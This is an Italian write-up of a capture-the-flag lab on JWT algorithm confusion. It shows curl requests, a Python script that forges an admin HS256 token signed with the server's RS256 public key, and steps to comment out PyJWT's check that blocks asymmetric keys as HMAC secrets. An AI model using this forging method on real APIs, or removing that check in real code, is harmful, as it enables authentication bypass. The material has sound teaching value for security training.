tags: Algorithm_Confusion API_Hacking JWT_Hacking


Questo è simile all’attacco None downgrade, tuttavia, si verifica specificamente con la confusione tra algoritmi di firma simmetrici e asimmetrici. Se viene utilizzato un algoritmo di firma asimmetrico, ad esempio RS256, potrebbe essere possibile effettuare il downgrade dell’algoritmo a HS256. In questi casi, alcune librerie torneranno per impostazione predefinita a utilizzare la chiave pubblica come segreto per l’algoritmo di firma simmetrico. Poiché la chiave pubblica può essere nota, è possibile falsificare una firma valida utilizzando l’algoritmo HS256 in combinazione con la chiave pubblica.

Per prima cosa dobbiamo autenticarci attraverso l’API ed ottenere il token che sta volta avrà in aggiunta anche una chiave pubblica:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.128.40/api/v1.0/example5
{
  "public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}

Ora prendiamo questa chiave e la immettiamo nello script python dopo aver modificato il payload del JWT per ottenere permessi di admin in modo simile a quanto fatto per il Cracking della Secret Key, quando copi la public key ricordati di copiare tutto ciò che sta all’interno delle ” copresi ssh-rsa altrimenti non funzionerà:

Script Python

import jwt
 
public_key = "ADD_KEY_HERE"
 
payload = {
    'username' : 'user',
    'admin' : 0
}
 
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

Esempio pratico

 
import jwt
 
payload = {"username":"admin","admin":1}
secret_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"  # La secret key (anche se corta)
algorithm = "HS256"
 
jwt_token = jwt.encode(payload, secret_key, algorithm=algorithm)
print(jwt_token)

Sorgerà un problema quando avvieremo questo script perchè la libreria di jwt nel file algorithms.py ha una protezione a questo tipo di operazione proprio per aiutare gli sviluppatori a non compiere questi errori, quindi per poter generare questo script possiamo andare nel file algotirhms.py e cercare la seguente funzione:

class HMACAlgorithm(Algorithm):
    """
    Performs signing and verification operations using HMAC
    and the specified hash function.
    """
 
    SHA256: ClassVar[HashlibHash] = hashlib.sha256
    SHA384: ClassVar[HashlibHash] = hashlib.sha384
    SHA512: ClassVar[HashlibHash] = hashlib.sha512
 
    def __init__(self, hash_alg: HashlibHash) -> None:
        self.hash_alg = hash_alg
 
    def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)
 
        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )
 
        return key_bytes

E commentare la funzione if:

# if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
        #     raise InvalidKeyError(
        #         "The specified key is an asymmetric key or x509 certificate and"
        #         " should not be used as an HMAC secret."
        #     )

Dopo aver fatto questa operazione se lanciamo il programma dovrebbe apparire il token con al posto della secret key la chiave pubblica dell’algoritmo asimmetrico (RS256) che però viene accettata come chiave privata dell’agoritmo simmetrico (HS256) permettendoci di loggarci come admin:

python3 payloadJWT.py                                               
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.mXyEcGNUoUsGe8j19t6HjomEvH4xTbrfQlV9e3vrNxA
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.mXyEcGNUoUsGe8j19t6HjomEvH4xTbrfQlV9e3vrNxA' http://10.10.128.40/api/v1.0/example5?username=admin
 
 
{
  "message": "Welcome admin, you are an admin, here is your flag: THM{f592dfe2-ec65-4514-a135-70ba358f22c4}"
}